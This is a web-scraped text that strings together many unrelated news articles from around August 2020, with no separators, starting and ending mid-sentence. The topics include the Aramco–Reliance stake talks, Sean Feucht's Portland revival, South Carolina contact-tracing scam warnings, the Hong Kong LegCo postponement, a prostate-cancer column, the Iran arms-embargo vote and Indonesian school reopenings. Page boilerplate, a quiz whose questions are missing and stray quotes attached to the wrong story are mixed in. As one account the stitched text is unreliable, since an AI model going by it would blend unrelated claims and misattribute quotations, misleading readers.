unsatisfied with the outcome of that review process,' she told Daily Mail Australia. 'All fines in relation to the chief health officer directions will be reviewed to determine whether they should be withdrawn or whether it was more appropriate to issue a warning.' live bse live nse live Volume Todays L/H More Saudi Aramco, the world's largest oil exporter, is conducting due diligence to acquire $15 billion stake in Reliance Industries' refining and petrochemical business, its CEO Amin Nasser said. Billionaire Mukesh Ambani had in August last year announced plans to sell a 20 percent stake in RIL's oil-to-chemical (O2C) business to Aramco, at a valuation of $75 billion. The deal was to close by March but has been delayed. "With regard to the Reliance deal, all I can say at this stage (is that) it's going through the due diligence," Nasser said in June quarter earnings call with investors. "So, depending on the due diligence, we will make our decision after we complete the due diligence on that deal." According to the transcript of the investor call, he went on to state that the deal to buy a stake in the world's largest single-location oil refining complex and India's biggest petrochemical assets "is a big deal. So, we need to take our time to review and then decide based on the outcome of the due diligence study". Ambani had at RIL's annual general meeting last month stated that the Aramco deal had been delayed "due to unforeseen circumstances in the energy market and the COVID-19 situation". He neither said if the deal was on track nor gave any fresh timelines for its completion. Nasser too did not give timelines for completion of the deal saying discussions with Reliance were still on and shareholders will be updated "in due course". RIL's O2C business comprises of the company's twin refineries at Jamnagar in Gujarat, petrochemical plants, and 51 percent in fuel retailing venture. The deal may have been delayed over valuations, sources said. Last month after RIL's AGM, Bernstein had stated that: "The sell-down of a 20 percent stake in the refinery and chemical business to Aramco for $15 billion has not progressed as planned, given changes in market conditions. We believe a deal is still possible although at a lower valuation, closer to our estimate of $57 billion gross". To facilitate the deal, Reliance had earlier this year decided to spin off the O2C business into a separate subsidiary, and Ambani last month said that process is likely to be completed by early 2021. But for him, the urgency of the Aramco deal has diminished after RIL amassed over Rs 2.12 lakh crore from sale of nearly 33 percent stake in the conglomerate's digital arm Jio Platforms, rights issue and selling 49 percent stake in fuel retail business to BP. This money helped the oil-telecom-to-retail conglomerate to become a zero net debt company nine months ahead of the target. "Our equity requirements have already been met," Ambani had said in the AGM. With a stake, Aramco would not just have a share in one of the world's best refineries and the largest integrated petrochemical complex but also access to one of the fastest-growing markets -- a ready-made market for 5 lakh barrels per day of its Arabian crude and a potentially bigger downstream role in future. It will make the world's biggest crude exporter join the ranks of the top oil refiners and chemical makers, and help it reach its goal of more than doubling refining capacity to between 8 million and 10 million barrels a day. Last week, BofA Securities in a report said with the Saudi Aramco deal, "RIL will be able to better utilise its refinery capabilities with availability of several grades of crude oil from super light to heavy being supplied by Aramco". The partnership going ahead will leverage the O2C value chain to maximise margins and meet the evolving needs of consumers by supplying energy, base chemicals and new materials. The strategic partnership with Aramco will help in increasing its crude oil to chemicals conversion ratio, which presently stands at 20 per cent. "With the deal, RIL will get technological expertise from SABIC (Saudi Basic Industries Corporation), in which Aramco recently bought a controlling stake," it had said. For Aramco, it creates a long-term crude supply contract of 0.5 million barrels per day (about 5 percent of current production) to RIL's Jamnagar refinery, with reduced demand risks. Aramco currently covers only about 40 percent of its crude output via refining and strives to increase it further. "It would give Aramco the opportunity to participate in Indian market growth story where demand will likely be strong over the next two decades," it added. Disclaimer: Reliance Industries (RIL), which also controls Jio Platforms, is the sole beneficiary of Independent Media Trust which controls Network18 Media & Investments which publishes Moneycontrol. Thousands attend Sean Feucht's Riots to Revival event in Portland: Church is rising up Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment Thousands attended California evangelist Sean Feuchts Riot to Revival worship concerts this weekend in Portland, Oregon, and Seattle, Washington, two cities that have been gripped by riots and protests in recent weeks. Feucht, the founder of the Let Us Worship movement who is known for his work with Bethel Music, held a Riots to Revival event at Portlands Waterfront Park Saturday and another at Cal Anderson Park in Seattle, Washingtons Capitol Hill district on Sunday. Feucht, who ran for Congress earlier this year but lost in the primary election, made headlines last month for organizing a beach revival attended by hundreds in Southern California in defiance of the states coronavirus orders. He has also argued that coronavirus restrictions that prohibit church services are a double standard. Saturdays events in Oregon began at 10 a.m. with training for acts of love & compassion across the Columbia River in Vancouver, Washington, according to a tweet from Feucht. After joining city pastors and leaders for the MLK March at 4 p.m., the revival concert began at 6 p.m. People gave their lives to Jesus, Feucht proclaimed in an interview on Fox & Friends Sunday. We baptized people in the river behind us It was so much joy that took over the streets of that city last night. We just believe that the church has the ability to change the narrative, he added. All of America has just seen these buildings burning and theyve seen this destruction and the violence. And the news, the mainstream media seems to be infatuated with this. But, Im telling you there is another story of what God is doing in these cities and the church is rising up. While Feucht was unsure exactly how many people attended the event in Portland, he estimated that there was a crowd of between 4,000 and 7,000. As Fox & Friends co-host Pete Hegseth noted, the rally in Portland marked the largest gathering yet of all the events that Feucht has held this summer. Hours after his appearance on Fox & Friends," Feucht held the Sunday revival in Seattle. The event in Seattle took place in a part of the city that was once home to the autonomous zone known at different times as CHOP and CHAZ. Along with Portland, Seattle has also faced violence and unrest in the weeks following the death of African American George Floyd in Minneapolis police custody on Memorial Day. According to a local NBC affiliate, hundreds attended the rally in Seattle, most of which were not wearing face masks or practicing social distancing. Feucht first founded the Let Us Worship movement to protest the restrictions on worship services implemented to stop the spread of the novel coronavirus. The movement calls on the Church to rise up with one voice and tell our government leaders and the rulers of big tech that we refuse to be silenced! States across America, including here in California have shut down church services and even outlawed singing in church, Feucht explains on the Let Us Worship website. Instagram and Twitter [are] censoring Christian voices every single day. And every hour that passes they grow bolder in their efforts to silence the faithful. In the interview with Fox & Friends last weekend, Feucht elaborated on his concerns about how restrictions have been placed on churches while protest gatherings drawing large crowds of people are permitted with no such restrictions. It is a double standard. And I would say at best, its hypocrisy. And at worst, its bigotry, he said. You know, theres a target on churches. In a previous interview with The Christian Post, Feucht described his movement as a return back to a gritty, raw Gospel, Jesus people movement foundation spurred by the fact that we cant be in our churches. I think what its doing is stripping off the sheen and the polished nature of what weve built in America and its allowing us to return to the simplicity, to the power of the raw Gospel, Feucht said. Feucht has many more outdoor worship events planned for the rest of the summer in cities all across the country. Those include Chicago, New York City, Milwaukee, Boston, Colorado Springs, Tampa and Orlando. The pastor has extended an invitation to Gov. Gavin Newsom of California to join him on the steps of the California Capitol on Sept. 6 for a Let Us Worship event. Theres no such thing as a bad protester, Atkins said. Also, (were) demanding that police be defunded. Police should not be here. They should not exist, especially because were giving them all this money to beat and terrorize us. Were giving them all this money when its like were in an actual pandemic and people need care right now, but youre giving them police. COLUMBIA The South Carolina Department of Health and Environmental Control (DHEC) is encouraging all South Carolinians to respond to legitimate contact tracing calls and emails from public health officials, while remaining vigilant against scams. Our contact tracing team plays a critical role in helping to slow the spread of COVID-19 in our communities, said Mike Elieff, DHEC Pubic Health Preparedness director. We encourage all South Carolinians to do their part by answering our call. DHEC has been conducting contact tracing for COVID-19 cases since the first reports in the state. Notifying people about a possible exposure is critical to stopping the spread of the COVID-19 because the virus can be transmitted without causing symptoms. Contact tracing includes two components: case investigations and contact monitoring. Currently, DHEC has more than 700 individuals trained to perform case investigations across the state, supplemented by 230 active contact monitors. A total of 600 contact monitors have been trained to date and will be deployed as needed. If you test positive for COVID-19, a contact tracer from DHEC will call you. They will: Connect you to medical care and help you find resources and support if needed. Ask about places you have been and the people you have spent time with recently. Make sure the information you provide is kept confidential and not shared with others. They will not ask about your immigration status nor share your information with immigration officials. Call the people you recently were in close contact with and let them know they have been exposed to COVID-19. A close contact is someone you have been within 6 feet of for at least 15 minutes. Not share your name and your personal information with any of your contacts. Inform your contacts about what they need to do during the next couple of weeks to take care of themselves and others. Remaining vigilant against potential scam attempts is important. A contact tracer will never ask for your: Social Security number, Money, bank account or credit card number, or Immigration status. If you are concerned about whether a caller is a real DHEC official, verify their identity by: Asking them to send you an email. The email should end with @dhec.sc.gov. Calling the DHEC regional epidemiology office to confirm the callers name and credentials. Contact tracing participation is voluntary and confidential. A legitimate contact tracer will never threaten consequences for not participating or answering questions. Last week, the U.S. Attorneys Office for the District of South Carolina announced the establishment of the South Carolina COVID Strike Team. The team is charged with investigating and prosecuting COVID-19 related scams, hoarding, and price gouging activities. Members of the public can report suspected fraud schemes and price gouging related to Coronavirus to the National Center for Disaster Fraud (NCDF) via their hotline (1-866-720-5721) or e-mail address (disaster@leo.gov). NPC to decide on legislative operation in HK over deferral People's Daily Online (China Daily) 10:35, August 10, 2020 China's top legislative body has started deliberating a bill during its four-day meeting since Saturday to decide on the arrangements of the normal operation of the Hong Kong Legislative Council after the postponement of its election. The State Council has submitted a bill to the Standing Committee of the National People's Congress requesting the top legislature to make a decision on the continued operation of the sixth Hong Kong LegCo after the election for the seventh LegCo, originally scheduled for Sept 6, was postponed for one year due to the novel coronavirus pandemic. In a report submitted to the central government on July 28, Hong Kong Chief Executive Carrie Lam Cheng Yuet-ngor said the postponement was made due to the recent COVID-19 situation in the city and asked the central government to make relevant arrangements for the vacancies in the Legislative Council in the coming year. On behalf of the State Council, Xia Baolong, director of the Hong Kong and Macao Affairs Office of the State Council, explained the bill to the lawmakers at the session of the NPC Standing Committee on Saturday morning. He said the State Council believed the postponement decision was made based on Hong Kong's Emergency Regulations Ordinance and is necessary and appropriate considering the current development of the COVID-19 pandemic in the region. It is also in line with public interests and can protect public safety while guaranteeing a fair election. The State Council issued a letter to Lam on July 29 stating that the central government supported the postponement. The NPC Standing Committee making relevant decisions on the vacancies in the Legislative Council after the postponement in line with the law was necessary to ensure the normal functioning of the Hong Kong government and society and to maintain the prosperity and stability of Hong Kong, according to the State Council. From a constitutional point of view, current Hong Kong laws and the Basic Law lack clear arrangements on this "vacuum period" within the existing legal framework, said former Hong Kong police commissioner Tang King-shing. "For the NPC Standing Committee to look at it is in the best interests of Hong Kong, to tell us the best way forward," Tang said. "This is a legal, rational and logical way to address the legislative vacuum." Hong Kong officials have welcomed the NPC Standing Committee's deliberation. Hong Kong NPC Deputy Ip Kwok-him, who is also an executive councilor, said the deliberation on the operation of the Legislative Council is "justified and legitimate", as only the top legislative body is entitled to make such a decision. Ip said whatever decision is made, he hopes Hong Kong legislators can set aside political disputes and focus on anti-pandemic issues to help the city overcome the virus with minimum losses. Rita Fan Hsu Lai-tai, former president of the Legislative Council and a former NPC Standing Committee member, said it is a timely decision to discuss the issue before the council's current term ends on Sept 30. "It is the best time for the NPC Standing Committee to deliberate and consider all possibilities and consequences," Fan said. Hong Kong has seen a resurgence of the pandemic since early July, with 1,852 additional COVID-19 cases reported between July 8 and July 30, a 140 percent increase from the total number of cases recorded over the previous six months, Lam said at a news conference. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address A loyal reader made contact recently to find out how I have been doing since I had surgery for prostate cancer. He has his own difficulties in that area and over the last few months every time he bought the paper he anticipated an update from me. I was reluctant to put pen to paper and address the topic again as I didn't want to be 'going on about it.' I am reminded of the story of two heifers who decided to leave their female herd in search of male company. Under the cover of darkness they jumped the ditch and made their way to a farm where the gender mix was somewhat more exiting. They mingled quietly with their new found friends and the following morning met at a pre-arranged spot to amble back to their own patch. Comparing notes about their romantic night out it emerged that one of them had met a marvellous bull. She described an encounter that would leave 'Normal People' looking like an episode of 'Little House on the Prairie'. Her companion, unfortunately, had a most boring time as her date turned out to be a bullock who spent the whole night talking about his operation. I fear I could fall into the latter category if I'm not careful. Anyway, I had the surgery, it involved a general anaesthetic and a few hours on the operating table. When it was over the surgeon appeared to me through my soporific haze in the recovery room to assure me that things had gone very well. The following morning I was instructed to get up and get dressed, which I duly did, and spent the day wandering around the hospital chatting and eating whatever was put in front of me. As far as I was concerned I had made a miraculous recovery. However, I paid for my ebullience the following day when I felt really ill. As a result of overdoing it I had to spend an extra 24 hours in hospital. When I got home I overdid it again and ended up at Shannon Doc where an excellent young doctor settled me and told me to take food and exercise in bite sizes. It was the first lesson for me - after surgery, eat sparingly and be gentle with the body. The mind might want to power ahead, the ego might want you to prove to the world that Superman dwells in your chest, but the body, having been invaded by a robot, wants rest and recuperation. From then on I listened to my body and took everything at a snail's pace. As part of the post -operative treatment I had to wear a catheter for two weeks, an experience that isn't at all as unpleasant as it sounds. In fact, the mind and the body are amazingly adaptable and can acclimatise themselves to most situations. If someone had described to me in detail what was ahead, I would have baulked at the prospect, but once you are there you get on with it. My convalescence coincided with the early days of the Covid crisis. In fact, the day I went to have the catheter removed was the day Leo Varadkar stood outside the Irish Embassy in Washington and told the nation to go home and stay there. It felt like everyone was in convalescent mode and I wasn't the only one in a dressing gown and slippers. Getting back to normal was accomplished in stages. One of the first jobs I had to do was to potty train myself all over again. You'll be glad to know it's much easier the second time round and accidents are few and far between. Pelvic exercises The staff at the physio department in the Galway Clinic were a fantastic support by phone and on video as they helped me, with a regime of pelvic floor exercises, rebuild my strength in places where the sun doesn't shine. In my first post-op consultation the trusty surgeon revealed that the cancer was more aggressive than he had originally thought. My prostate was more than double the size of a normally enlarged prostate. I was feeling positively Trumpian in my exceptionalism. Perhaps I should get a t-shirt made to celebrate it. Five months down the line, the indicators tell me I'm cancer-free and, aside from a series of kidney infections, I feel fine. I walk for an hour a day and while I'm eating well I've cut back on my intake of caffeine and alcohol - these are not good friends to the waterworks. On another note, I won't be the subject of a paternity suit anytime soon, and on nights out I'll be the one talking about my operation. Burma Organizers Vow to Hold 70th Karen Martyrs Day Event Despite Myanmar Police Warning Three convicted Karen activists march in central Yangon with supporters after being released by a township court in October 2019. / Aung Kyaw Htet YANGONThe 70th Karen Martyrs Day commemoration will be held in central Yangon on Wednesday in accordance with COVID-19 prevention guidelines, despite not being approved by township authorities, according to the events organizers. The death of Karen revolutionary leader Saw Ba U Gyi, who was murdered on Aug. 12, 1950, is commemorated annually as Karen Martyrs Day. Authorities in Yangons Kyauktada Township have declined to approve the event, citing COVID-19 restrictions under which mass gatherings are banned until Aug. 15 in order to contain the spread of the coronavirus. However, Karen activist Ko Sa Thein Zaw Min, one of the event organizers, told The Irrawaddy on Tuesday that he and the other organizers would definitely proceed with their plans to hold the commemoration, because it is the 70th annual Karen Martyrs Day. He said they would scale down the ceremony to make sure it is in compliance with the COVID-19 guidelines. Groups of not more than 15 people at a time will be allowed to pay respects to the Karen Martyrs in central Yangon near Maha Bandula Park, according to the event organizers. Ko Sa Thein Zaw Min said no individual invitations to the event had been sent. However, all attendees will be provided with hand gel and masks to satisfy the COVID-19 guidelines. Prominent Karen activist Naw Ohn Hla, another event organizer, said that a march would not be held as part of this years event due to the pandemic. However, Kyauktada Township police told The Irrawaddy that the event would not be permitted. Police Colonel Myo Thet, chief of the Kyauktada Police Force, suggested the event organizers postpone their commemoration. If they violate any COVID-19 restrictions, we will sue them under the Communicable Disease Law the police colonel said. Last year, three Karen activistsSa Thein Zaw Min, Saw Elbert Cho and Naw Ohn Hlawere sentenced to 15 days in prison after being held in jail for more than two weeks for holding an unlawful gathering to mark the 69th Karen Martyrs Day, which drew more than 300 of people. The three activists were charged in September 2019 for not complying with an order to delete the word martyr from references to the commemoration. Separately, three supporters of the convicted Karen activists were sued by the Kyauktada Police Force under the Unlawful Assembly Law for organizing a protest outside a courthouse in Yangon in October 2019. You may also like these stories: Myanmar Military Chief: Govt Should Call Top Security Council Meeting Ethnic Kayah Parties Pledge Cooperation in Myanmars Election States can play important role in Covid fight, Modi tells CMs during COVID-19 review meeting India oi-Madhuri Adnal Mumbai, Aug 11: Prime Minister Narendra Modi met the chief ministers of 10 states on Tuesday to review the coronavirus situation in the regions even as the country's Covid-19 tally surged beyond the 2.26-million mark, including more than 45,000 deaths. The Prime Minister held a video conference with the chief ministers of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana, Uttar Pradesh at 11am. During the video conference meeting Modi said,''Every state is fighting the battle against the challenging situation arising due to COVID19 pandemic. Role of each and every state is very significant in overall control of the spread of the disease,''," he said. Modi holds consultations with CMs of 10 states on COVID19 situation as cases cross 22.6 lakh He added that the average fatality rate has been continuously decreasing while the recovery rate is increasing every day, this shows that measures being taken by us are in the right direction. Independence Day: Indian flag to unfurl at Times Square & more news | Oneindia News Modi stressed on the importance of testing to quickly trace, track and isolate those affected. He said,''Experts are saying now that if within 72 hours, a person is diagnosed, then the spread can be controlled to a great extent. So, it is important that all the people who come in contact with an infected person must be tested within 72 hours.'' Punjab Chief Minister Captain Amarinder Singh had said the current gap of 35% in State Disaster Relief Fund for COVID-19 related expenditure, as per MHA guidelines, is not sufficient to meet current requirements of the state. Meanwhile, Tamil Nadu CM K Palaniswami told Modi,"We have received Rs 512.64 crore from Centre in two tranches under Emergency Response and Health Systems Preparedness package out of Rs 712.64 crore allotted to the state. I request this package may be stepped up to Rs 3,000 crore as my earlier request." Tuesday's interaction with Prime Minister was the seventh such meeting with chief ministers on the pandemic. Panel for COVID-19 vaccine distribution to meet tomorrow, says health ministry PM Modi's last meeting with the heads of the states to discuss the coronavirus situation was held in June. For Breaking News and Instant Updates Allow Notifications Story first published: Tuesday, August 11, 2020, 14:05 [IST] (Photo : REUTERS/Toby Melville) An Ethiopian Airlines plane comes in to land at London Heathrow airport, which posts its first-half results following the outbreak of the coronavirus disease (COVID-19), in London, Britain, July 29, 2020. (Photo : Johan Nilsson/TT News Agency/via REUTERS) Airplanes of the Scandinavian Airshow draw a heart in the sky, above the Turning Torso building, amid the spread of the coronavirus disease (COVID-19), in Malmo, Sweden July 17, 2020. Scientists from Oxford-based Reaction Engines and the UK Science and Technology Facilities Council are looking at replacing kerosene with ammonia as jet fuel in response to the British government's campaign for zero emissions by 2050. According to Daily Mail, the team is developing a technology that allows airplanes to run on ammonia. This would produce zero greenhouse gas emissions like carbon dioxide and is less fire hazard because it does not easily burn on its own, unlike kerosene-based engines. A recent campaign in the UK aims to mitigate climate change by reducing its carbon emissions to net-zero by 2050. With this study, ammonia will be mixed with hydrogen to burn in a combustion chamber. Scientists suggest using a heat exchanger to heat the fuel towards the engine, then 'cracking reactor' follows to break the ammonia into hydrogen and nitrogen. Reaction Engines' James Barth told MailOnline that this fuel could clean up its emissions. Once the fuel mix is ignited to propel the engine, it will only leave nitrogen, water vapor, and some nitrogen oxides as waste products, although adding more ammonia can eliminate the latter. According to Dr. Barth, ammonia-powered planes are suitable for short-haul flights since ammonia does have a lower energy density than kerosene. Yet, ammonia is comparable with other green aircraft solutions such as the battery-power and the highly expensive fuel hydrogen. However, switching to ammonia can be done gradually by making minor additions to conventional jet engines. There is no need for airlines to change their current fleets as they use cleaner fuel completely. Although kerosene and ammonia cost almost the same, completely green production of ammonia will be more expensive since it is currently made from natural gases like atmospheric nitrogen and methane. Dr. Barth believes that "ammonia will be cost-competitive with synthetic fuels." He expects that things like future carbon taxes may offset the cost. There are also possibilities of making ammonia entirely renewable in the future by merely switching natural gas with electrolyzed water. Read also: Paused Transportations and Closed Factories Amid Coronavirus Pandemic Caused Significant Decrease of Nitrogen Dioxide, NASA Confirms The coronavirus pandemic pushed for cleaner energy In an interview with the Telegraph, Reaction Engines' chief executive Mark Thomas said that having a cleaner environment during the coronavirus lockdown could help promote "green travel." "We've been living under clean skies for the past few months," said Thomas said adding that this pushes for "a real technology drive." According to the New York Times, the lockdown and economic shutdown have brought about cleaner air and environment. The National Oceanic and Atmospheric Administration started a global experiment where researchers fly aboard a small plane to measure carbon dioxide in Boston to Washington. Dr. Saratch Guttikunda, director of New Delhi-based organization, Urban Emissions.info, found that in some cities, ozone levels surged as tailpipe pollution and vehicle traffic dropped. Meanwhile, Georgia Tech's atmospheric scientist and chemical engineer Sally Ng noted that the study "is a giant, global environmental experiment" being done in a very controlled way. According to NOAA atmospheric chemist Shobha Kondragunta, they were able to watch these transformations all around the world for a longer period. Kondragunta studies tailpipe pollutants such as nitrogen dioxide and sulfur dioxide that produces smog over the North and South Poles. Currently, Dr. Barth's team seeks funding to create a small, ground-based area to demonstrate the possibility of this type of engine as well as plan to change the design of heat changers and cracking reactor. Read also: NASA: With Clear Skies Due to the Lockdown, the World Will Get the Chance to See the Intl Space Station Even Clearer! Here's How This is owned by Tech Times. Written by CJ Robles 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. Chinas University of Chinese Academy of Sciences (UCAS) issued its first undergraduate acceptance letter on August 10, along with a special present sounds from the universe, according to the official Weibo account of China Youth Daily. The sounds are signals of 15 pulsars discovered by teachers and students of the university with the help of the countrys Five-hundred-meter Aperture Spherical Radio Telescope (FAST), the world's largest single-dish radio telescope. Among them, 13 pulsar signals were released to the world for the first time through these acceptance letters. Converted and slightly processed by the universitys students, the signals came in the form of a vinyl disk. BRUSSELS (dpa-AFX) - Lithuania's producer prices declined for the sixth straight month in July, though at a softer pace, figures from Statistics Lithuania showed on Tuesday. The producer price index decreased 10.1 percent year-on-year in July, following an 11.4 percent decrease in June. Excluding refined petroleum products, producer prices fell 3.5 percent annually in July, following a 3.4 percent decline in the preceding month. Producer prices for products sold on the Lithuanian market decreased by 8.4 percent annually in July. Prices for products sold on the foreign market fell by 11.1 percent from a year ago. On a month-on-month basis, producer prices rose 1.9 percent in July, after a 2.6 percent growth in the prior month. Copyright RTT News/dpa-AFX Werbehinweise: Die Billigung des Basisprospekts durch die BaFin ist nicht als ihre Befurwortung der angebotenen Wertpapiere zu verstehen. Wir empfehlen Interessenten und potenziellen Anlegern den Basisprospekt und die Endgultigen Bedingungen zu lesen, bevor sie eine Anlageentscheidung treffen, um sich moglichst umfassend zu informieren, insbesondere uber die potenziellen Risiken und Chancen des Wertpapiers. Sie sind im Begriff, ein Produkt zu erwerben, das nicht einfach ist und schwer zu verstehen sein kann. This multiple choice geography quiz is designed for children - but it promises to put even the brightest adult minds to the test. The 25-question challenge, created by Terry Stein for US-based trivia website Playbuzz, is said to have been made with young minds in mind but is so difficult that just 3 per cent of adults are able to score full marks. Featuring predominately questions about places in Europe, the creator said most people are unable to answer at least 22 questions correctly. So, how many do you know? Scroll down to take the test and check your answers at the bottom. The internet has been stumped by a Playbuzz quiz on the world's capital cities (file image) 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. ANSWERS NEW YORK: The UN Security Council is preparing to vote this week on a US proposal to extend an arms embargo on Iran, a move that some diplomats say is bound to fail and put the fate of a nuclear deal between Tehran and world powers further at risk. A last-minute attempt by Britain, France and Germany to broker a compromise with Russia and China on an arms embargo extension appeared unsuccessful so far, diplomats said. Russia and China, allies of Iran, have long-signaled opposition to the US measure. A Chinese diplomat at the United Nations, speaking on condition of anonymity, said that "extending the arms embargo on Iran in whatever form lacks legal basis and will undermine efforts to preserve" the nuclear deal, adding that there is "no chance" the U.S. text will be adopted. US Ambassador to the United Nations Kelly Craft said Russia and China wanted to benefit from the end of the arms embargo. "Russia and China are waiting to be able to sell arms to Iran," Craft told Fox News. The embargo is due to expire in October under a 2015 deal among Iran, Russia, China, Germany, Britain, France and the United States that prevents Tehran from developing nuclear weapons in return for sanctions relief. Even though US President Donald Trump`s administration quit the accord in 2018 - with Trump dubbing it "the worst deal ever" - Washington has threatened to use a provision in the agreement to trigger a return of all UN sanctions on Iran if the Security Council does not extend the arms embargo indefinitely. Renewed sanctions -- a move known as snapback -- would likely kill the nuclear deal because Iran would lose a major incentive for limiting its nuclear activities. Iran has already breached parts of the nuclear deal in response to the U.S. withdrawal from the pact and Washington`s imposing strong unilateral sanctions. "This U.S. administration`s goal is to terminate the Iran nuclear deal," said a European diplomat, speaking on condition of anonymity. U.S. Special Representative for Iran Brian Hook alluded to the United States wanting to reimpose all U.N. sanctions when he said last week, "We need to restore the U.N. Security Council standard of no enrichment." A snapback of U.N. sanctions would require Iran to suspend all enrichment-related and reprocessing activities, including research and development, and ban imports of anything that could contribute to those activities or to the development of nuclear weapon delivery systems. It would reimpose the arms embargo, ban Iran from developing ballistic missiles capable of delivering nuclear weapons and reimpose targeted sanctions on dozens of individuals and entities. States would also be urged to inspect shipments to and from Iran and authorized to seize any banned cargo. `ZERO CHANCE` Richard Gowan, UN director for conflict prevention advocacy body the International Crisis Group, said there was "zero chance" the US attempt to extend the arms embargo would be adopted and that it was "a ploy to get to snapback." The council is operating virtually so once a vote is called the 15 members would have 24 hours to submit their decision and the result would be announced at a public meeting, but diplomats say there is little support for the current U.S. text. The draft resolution needs at least nine votes in favor to force Russia and China to use their vetoes, but some diplomats question whether Washington can even secure those nine votes. "Everyone at the UN understands that this resolution is just the curtain-raiser for a much bigger fight over the Iranian nuclear deal," said Gowan. Washington argues it can trigger the sanctions because a Security Council resolution enshrining the nuclear deal names it as a participant. But the remaining parties to the agreement are opposed to such a move, and diplomats say the United States would face a tough, messy battle. "It`s highly likely ... a number of countries will be saying they have no intention of implementing further sanctions, until the U.N. Security Council decides whether or not snapback has been carried out legally," said a senior council diplomat, speaking on condition of anonymity. "I don`t see how the council can decide that given the divisions that will be within it," the diplomat said. "I don`t see any rush to re-establish sanctions regimes therefore around the world." Share this article Whatsapp Facebook Twitter Linkedin Gemma Holliani Cahya (The Jakarta Post) Jakarta Tue, August 11, 2020 09:03 526 6657ac82168da9fa101c8a4066cfcf4c 1 National #education,Education,COVID-19,#COVID19,school,#school Free The governments decision to allow more schools to reopen has drawn strong criticism from pediatricians and teachers who have been calling for schools to stay focused on distance learning to prevent children from contracting the coronavirus disease. Despite daily increases of infections in Indonesia, the government expanded on Friday a school reopening policy for schools in COVID-19 yellow zones, or moderate-risk areas. The decision comes only a month after schools in green zones, or low-risk areas, were given the green light to reopen. The Federation of Indonesian Teachers Associations (FSGI) said the change risked creating new infection clusters at schools. The group has received reports of at least 180 teachers and students from across the nation who have tested positive for the virus. The right to live and the right for students, teachers and parents to be healthy are still the most important things, FSGI deputy secretary-general Satriwan Salim said on Monday. Children are also entitled to the right to education, but we have to remember that children who can get an education are children who are healthy and alive. Distance learning is the best option we have right now. Read also: More schools to reopen amid pandemic The FSGI said that while it was true that there were many limitations and technical problems hindering distance learning, reopening schools was not the answer. The government and local administrations must first solve the problems of distance learning. There should be intense coordination across ministries, institutions and regional administrations to find the solutions. This is the key, he added. When the previous policy allowing schools in green zones to reopen was in force, the FSGI found at least 79 regions violated the policy. They found, for example, that some schools outside green zones reopened, and some preschools in green zones reopened even though the policy prohibited them from doing so. We wonder why there were no sanctions from the government for these regions, FSGI secretary-general Heru Purnomo said. Official data shows 57 percent of Indonesian students currently live in red and orange zones, while the remaining 43 percent are in green and yellow zones across 276 cities and regencies. Indonesian Pediatricians Association (IDAI) chairman Aman Pulungan questioned whether regions had an adequate number of polymerase chain reaction tests and intensive care beds to handle a potential spike in cases among children. If they are not prepared, then dont open the schools, Aman said on Sunday. Education and Culture Minister Nadiem Makarim has repeatedly said that the decision to reopen is optional and that schools and parents have discretion to decide what is best. But critics say the policy could see parents sending their children back to school prematurely without taking the proper safety measures. Read also: 79 cities, regencies violate school-reopening protocols: Education Ministry According to the IDAI, 60 children have died of COVID-19 and thousands others have tested positive, though Aman said the numbers could be higher since the associations records did not take into account fatalities among suspected cases and cases treated by non-pediatricians. The Health Ministry found that 6,584 children aged 6 to 17 years old had tested positive for the virus as of Aug. 6. And even with these numbers only, we already have the highest number of child deaths from COVID-19 in the Asia-Pacific, said Aman who is also the president of the Asia-Pacific Pediatrics Association. The IDAI strongly opposes the decision to reopen schools. Aman also urged the government to involve the IDAI in the formulation of health protocols and policy relating to children's education during the pandemic. Epidemiologist Pandu Riono from the University of Indonesia said the government must stop making important policies based on its inaccurate zoning system. The government has color-coded regions to indicate COVID-19 threat levels, using green, yellow, orange and red. Green zones indicate low-risk areas, while red zones are at highest risk of transmission. This zoning is inaccurate because it is based on data that might not be accurate. The data on COVID-19 cases really depends on the number of tests done. If one area has a low testing rate, it is possible that no cases are found there, Pandu said. It is a very risky experiment. We are not in a normal situation. If schools reopen only to be closed again due to the possible escalation of infections, it will only bring more trauma to students. The mayor of Bristol has urged residents to take asylum seekers into their homes so that they don't end up living on the streets during a housing crisis. Mayor Marvin Rees gave his support to a scheme which lets volunteers host refugees in their spare bedrooms - adding that the city should be a place 'where everyone feels welcome and safe'. The city council has provided housing for a number of asylum seekers during the coronavirus pandemic, covering the cost, but the arrangement is shortly due to finish. It comes as charity Bristol Hospitality Network (BHN) has asked for 20 volunteers who could offer a room for three months or more. The mayor of Bristol, Marvin Rees (pictured), has urged residents to take asylum seekers into their homes so that they don't end up living on the streets during a housing crisis The city council has provided housing for a number of asylum seekers during the coronavirus pandemic, covering the cost, but the arrangement is shortly due to finish. It comes as charity Bristol Hospitality Network has asked for 20 volunteers who could offer a room for three months or more BHN, which provides accommodation and board to destitute asylum seekers, has helped to host more than 100 people since 2009 - giving the safety and security to rebuild their lives in the UK. Many of those they help come from Syria, Iraq, Afghanistan and Sudan. What is involved in becoming a host for an asylum seeker? Bristol Hospitality Network states on its website: 'It really is as simple as providing a spare room. Duration is often a minimum of three months. 'We work hard to get to know the hosts and their requirements first in order to place appropriate members in their home. Some hosts have a spare room with separate toilet, kitchenette and entrance. 'Others have a room and are happy to either let the member live independently or provide community and relationship by connecting with the member over food and socialising. 'We can discuss your ideal hosting situation in order to facilitate a successful placement, and will provide support regarding social distancing during the lockdown.' Source: bhn.org.uk Advertisement 'This isn't just a Bristol problem and every city will be taking its own approach to dealing with it,' said director Lizzie Briggs, according to the BBC. She added: 'Asylum seekers are evicted from Home Office accommodation 21 days after being refused, becoming homeless in that same city. 'So wherever there is Home Office accommodation for asylum seekers, there are refused asylum seekers made destitute, sofa-surfing or street homeless.' Asylum seekers whose claim has been denied are forbidden from working and are not allowed to claim benefits Nationwide schemes to host asylum seekers in private homes have been operating for some years. BHN volunteers Sarah and Peter hosted a male asylum seeker in his twenties from Iraq for two years. Peter told the charity: 'I felt really proud that we were able to offer him something that made an immense difference to his life. 'And I hope that if I was in that amount of need, someone would reach a hand out to me.' In a bulletin from councils in April, it was claimed local authorities could be left to front the costs of providing homeless people with no access to benefits somewhere safe to sleep. It read: 'A consequence of the Home Office not relaxing restrictions on access to benefits during the pandemic for people subject to the no recourse to public funds condition is that 